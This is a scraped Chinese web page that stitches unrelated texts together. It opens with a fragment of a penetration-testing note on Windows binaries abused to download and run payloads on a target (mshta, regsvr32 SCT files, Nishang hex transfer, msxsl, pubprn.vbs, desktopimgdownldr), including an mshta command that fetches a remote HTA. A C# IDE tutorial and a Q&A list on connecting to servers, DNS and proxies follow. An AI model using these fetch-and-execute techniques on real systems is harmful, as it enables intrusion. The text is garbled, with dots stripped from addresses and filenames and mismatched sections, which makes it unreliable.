mshta http://19216831/runhtarunhta 内容如下:
依赖于WScriptshell这个组件:
Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
WinXP及以上系统的regsvr32exe在windowssystem32文件夹下;2000系统的regsvr32exe在winntsystem32文件夹下。
testdata内容:
还可以利用 https://githubcom/CroweCybersecurity/ps1encode 生成sct文件:
Windows shares可以加载一个驱动器,然后用命令来复制文件。
加载远程驱动:
当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件:
把exe转成hex文件输入:
打开eviltxt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机,把hex文件还原成exe文件输入:
1MSXSLEXE
msxslexe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
2pubprnvbs在Windows 7以上版本存在一个名为PubPrnvbs的微软已签名WSH脚本,其位于
3esentutlexe/extrac32exe
4desktopimgdownldrexedesktopimgdownldrexe 位于 Win10 的 system32 文件夹中,原本用于设置锁定屏幕或桌面背景图像的。
普通用户可以用:
这样来下载文件。
可以把C:ProgramData来改成一个普通用户可写的目录。
下载的文件存放于:
管理员用户会多写一个注册表项,所以管理员最好的命令是:
https://xzaliyuncom/t/1654
https://wwwt00lsnet/articles-49501html
https://evi1cgme/archives/remote_exechtml
https://wwwunixmencom/top-10-command-line-tools-downloading-linux/
作者:肖洋肖恩、
原文链接:https://wwwcnblogscom/-mo-/p/12109717html
1、首先打开VS软件,并创建c#工程,如下图所示。
2、 创建好工程后,进入到IDE的主界面如下图所示。选中项目右键->添加->新建项目
3、 步骤二后,在d出的添加新项界面中:代码->类->名称->添加,并在新建的cs文件中写入自己的程序和代码。
4、 步骤三结束后,选中项目鼠标右键->选择属性,如下图所示。
5、在d出的界面中选择下图所示的调试,并进入。在下图所示的区域输入命令行参数,多参数的话使用空格进行分隔,在运行程序即可。
问题一:如何连接服务器 远程连接是工作、生活中会经常用到的手段,当某台计算机开启了远程连接功能后我们就可以在网络的另一端控制这台计算机了,通过远程桌面功能我们就可以实时的 *** 作这台计算机了。 远程连接的步骤是比较简单的,下面给大家介绍远程连接的 *** 作 首先,需要将计算机(服务器)的远程访问功能开启,才能够被远程访问。开启远程访问:右键“我的电脑”点击属性,点击最右边的“远程”按钮,把远程桌面里面的“允许用户远程连接到此计算机”勾上就可以了。 然后使用其它计算机进行远程桌面连接 *** 作:点击“开始―运行” 在运行窗口里输入mstsc(远程桌面连接的命令) 或者可以在“开始―所有程序―附件―远程桌面连接”进入远程桌面连接 输入你要连接的计算机的IP地址,然后使用对应的用户名及密码登陆 这里一定要确保IP地址、用户名、密码都是相关联的,才能成功登陆其它计算机。因为安全原因,一般一个用户连接一个远程桌面只能连接三个,如果不正常退出,那么会造成登录三次以后就无法登录了。
所以正确的退出也是很重要的。退出时,要点击“开始-关机”,在下拉菜单中选择“断开”这样就不会因为不正常退出而造成无法访问了!
问题二:怎样连接本地服务器 网上邻居 >属性> 本地连接 >属性
找到Internent 协 议双击
选取 使用下面的 I P 地址
一般是 192 168 1 1输入完毕后 直接按TAB建然后点确定就OK
问题三:无法连接服务器怎么解决 DNS服务器是计算机域名系统 (Domain Name System 或Domain Name Service) 的缩写,它是由解析器和域名服务器组成的。域名服务器是指保存有该网络中所有主机的域名和对应IP地址,并具有将域名转换为IP地址功能的服务器。其中域名必须对应一个IP地址,而IP地址不一定有域名。
DNS服务器未响应简单解决方法:
1、首先尝试禁用和启用网络连接,让系统重新自动识别一下试试看;
2、检查本地连接的属性中的,TCP/IP中的,DNS服务器设置一项,检查是否有错,或者将其设置为自动获取;
(设置方法建议可以参考DNS错误()的相关文章)
3、如果使用宽带连接拨号,尝试重启ADSL,并重新拨号;
4、如果使用的是路由器,建议断开电源,重启路由器。
如果这些仍然不能解决问题,继续往下看,看一些高级的解决方法。
DNS服务器无响应的高级诊断及解决方法:
1、重置网络服务
在开始,运行,命令中输入CMS,进入命令行工具;
在CMD命令中输入 netsh winsock reset,这个是重置网络服务命令,完成后重启电脑,
2、开启DNS相关服务
在“开始”-“运行”里面输入“servicesmsc”,将“DHCP Client”(自动获取IP地址)和“DNS Client”(自动完成域名解析)启动类型都改成自动并启动后重启电脑和路由器看看能否连接上。
服务中有些可能需要将它依存的服务全部启动之后它才能够启动,你可以到“依存关系”里面查看。
3、使用360LSP修复工具
打开360安全卫士,然后找到实用工具,找到 LSP修复工具,点开运行。
找到几个带有红叉的客户端,代表这些是不正常的应用程序,选择后点击修复就可以了。
以上方法,简单易用,过于复杂的暂时就不整理了,如果还是不能解决,那么直接找专业的人帮你弄
问题四:如何连接服务器 怎么连?这个问题,怎么觉得有点空城计的赶脚?
服务器装上网卡,应该板载就有网卡,网线连出来,连到交换机或者路由器
然后你的电脑也连接在交换机上,
把服务器的IP和电脑的IP地址设置一个私有IP段,就ok了
私有IP地址范围:
A类:10000-10255255255
B类:1721600-17231255255
C类:19216800-192168255255
问题五:手机怎么连接服务器 亲爱的玩家您好:
建议您试一下以下方法是否可以帮您的,1、登陆游戏前请先关闭您进程管理器中不必要的进程。 2、如果有优化软件,建议您优化一下系统配置。或者请您刷新几次,稍后再进入游戏,尝试一下。 3、在删除COOKIES的时候删除脱机文件及FLASH历史记录。删除cookies:打开网页左上方---工具--Internet选项--浏览器记录--删除--删除cookie,关掉网页重新进入。清理flash缓存:在游戏画面点击鼠标右键---设置---将滑动条移动到最左边---再将滑动条移动至最右边---确定---关闭,关掉网页重新进入。 4、登陆游戏前请不要加载P2P软件。 5、检查您的网络是否存在网络丢包现象。 6、更换网络环境尝试一下。 7、更换其它浏览器进行游戏。 8、重新安装非测试最新版本Flash Player希望这些建议对您有所帮助。
51游戏官网客服很高兴为您解答!更多精彩尽在51游戏社区!
问题六:在linux系统上如何连接远程服务器 打开终端使用ssh命令链接远程服务器。
命令格式 : ssh [email protected] (root对应你使用的用户名,192……对应的服务器ip地址,一般服务器端口22,命令默认22如果需要更改端口在ssh后面 -p 端口)
问题七:我的手机怎样连接到电脑服务器? 如果想用手机连接到电脑,而不是只想将内存卡连电脑,那必须要数据线插电脑USB口了,如果只是想上传文件到电脑,或者电脑下载东西到手机,登陆QQ就可以解决,登Android版QQ,电脑再登陆QQ,就可以用“QQ数据线”上传、下载文件。
问题八:存储和服务器怎样连接? 5分 。。。。楼主说的是啥存储啊,没有说清楚啊,是FC的存储还是,IP存储,或者是SAS SCSI存储呢?存储不一样连接方法不一样,比如是FC的话那就用光纤跳线直接连接存储即可,当然也可以接光纤交换机,但是服务器必须加装FC的HBA卡,如果是IP存储的话那就简单了,可以直接连接到你的核心交换机上并给存储配置好IP即可访问(如果是Win2003系统那必须在系统下安装iscsi发起程序哦),当然了如果想安全简单些那你可以将2台服务器直接用网线连接到IP存储上也可以这样更简单安全(注意这种连接方法服务器必须要有2个以上网卡),最后一种是SAS SCSI存储,其实和FC的一样只不过光纤跳线变成了SAS SCSI线缆了,也要配有SAS HBA卡。希望对楼主有所帮助~~
问题九:数据库如何连接到服务器上 通常来说我们的服务器是分三类,数据库的服务器,web的服务器,以及其他应用的服务器。这些其实都是小型机,服务器,只不过是根据用途不同而分类。正常来说一个网站的常规服务器的架构就是这三块。
他所说的 数据库连接到服务器 可能是指 怎么样把web服务器和数据库能够建立连接 。这里所说的web服务器应该是指tomcat,apache,IIS,weblogic之类的东西,而不是真正意义上的web服务器。
这样的话就简单了。要么ODBC要么JDBC,该怎么样怎么样。ODBC就是添加到数据源,JDBC就是要写JDBC驱动,或者使用mybatis之类的解决方案
如果他的意思是数据库服务器和web服务器直接的数据交流。以oracle和weblogic为例,就是把oracle的TNS监听地址修改成web服务器的ip,weblogic配置数据源的时候连接到数据库服务器上。这样就好了
问题十:互联网怎么连接国外服务器 1、打开浏览器IE
2、选择“工具”--“Internet选项”,如图1:
3、用鼠标左键点击“Internet选项”后出来图2:
4、在图2中点击上面的“连接”标签,出现图3:
5、在图3中的“拨号设置”中确保你现在使用的连接是你要使用代理服务器的连接,一般情况下你不需要动,然后点击右边的“设置”按钮,出现图4:
6、在图4中的“代理服务器”下面“使用代理服务器”前面的白色框内点一下鼠标左键,打上对勾,表示使用浏览器通过代理服务器访问,在下面的地址栏中输入代理服务器的地址和端口号,代理服务器你可以去代理服务器发布站里面找,那里有最新的代理服务器列表比如我们找到一个代理服务器是这样写的:1584312851:[email protected] ,那么这个代理服务器的IP地址就是:1584312851,你在上图的地址栏内输入这个地址就可以了,上面的写法中的冒号后面的3128就是端口号,所以你在上图4的端口内填入3128就可以了,后面的 @HTTP表示支持HTTP协议,也就是这个代理服务器支持网页访问方式,这个你不用在什么地方填写,知道就可以了。
7、填写完毕以后,按“确定”--“确定”就可以了,以后你就可以在浏览器的网址栏内输入你要访问的网站的网址就可以了,如果你以来不使用代理服务器可以访问的网址现在不能打开了,多半是代理服务器被关闭了,这时候你再换一个就可以了。当然你也可以多试几个试试,找一个速度比较快的代理服务器使用,一定要注意过一段时间代理服务器可能会被关闭,什么时候你打不开网站了,也可能就是需要换一个代理服务器了,方法是按照上面的步骤先去掉使用代理服务器,到代理服务器发布站找最新的代理服务器,然后再填进去就可以了。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)